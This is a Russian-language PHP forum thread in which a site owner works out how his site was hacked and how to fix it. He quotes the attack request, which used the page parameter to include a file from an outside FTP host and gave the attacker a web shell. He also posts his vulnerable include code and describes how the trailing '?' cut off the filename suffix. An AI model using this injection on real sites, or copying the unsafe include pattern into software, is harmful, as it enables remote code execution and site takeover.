powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Подскажите plz, как здесь работает php injection
5 сообщений из 5, страница 1 из 1
Подскажите plz, как здесь работает php injection
    #37936750
Фотография krapotkin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
на моем сайте сделано условно так
URL
//<my_site>/index.php?page=xxxxxx

$var = filter_var( $_REQUEST['page'],FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_AMP);

var простым перебором сравнивается с массивом строк и если сходится, вызывается
/<my_site>/var_cnt.php

если в массиве $var не находится, но существует файл ,_cnt2.php, тогда переходим к $var_cnt2.php
т.е. само значение var никуда не попадает, нигде напрямик не используется

столкнулся со взломом в виде запроса
//my_sity/index.php?page=ftp://<log>:<pass>@ftp.freehostia.com/tmp.php?

там лежит некий хакерский файл
и у меня на экране появляется хак-интерфейс доступа к файлам, каталогам и т.д. на моем сайте
с заголовком
Irc.indoirc.net - #Br4|n

что я сделал не так и как защититься ?
...
Рейтинг: 0 / 0
Подскажите plz, как здесь работает php injection
    #37936822
Фотография r u
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
krapotkin,

телепаты в отпуске.

- что значит перебором?
- что значит "переходим"?

приведите весь где используется $var. от начала до мест где она используется в include()
...
Рейтинг: 0 / 0
Подскажите plz, как здесь работает php injection
    #37936870
Фотография Hett
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Код: php
1.
var_dump(filter_var( 'ftp://123:345@ftp.freehostia.com/tmp.php?',FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_AMP));



Код: plaintext
string(41) "ftp://123:345@ftp.freehostia.com/tmp.php?"
...
Рейтинг: 0 / 0
Подскажите plz, как здесь работает php injection
    #37936888
Фотография krapotkin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
перебором - это правда, перебором

foreach($pages as $value) {
if ($var==$value)
include $var."_cnt.php"
$found=1;
}

переход - да, лажа. include.

if ((!$found)&&(file_exists($var."_cnt2.php")))
include $var."_cnt2.php";
else
include no_content.php";

исследования уточнили проблему
filter_var() работает не так, как мной ожидалось (кто бы мог подумать))) ) и последний знак "?" отсекал "_cnt2.php"

решил все удалением из переданной строки всех не-букв
...
Рейтинг: 0 / 0
Подскажите plz, как здесь работает php injection
    #37936895
Фотография krapotkin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Hett
спасибо,
протупил, конечно
...
Рейтинг: 0 / 0
5 сообщений из 5, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / Подскажите plz, как здесь работает php injection
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]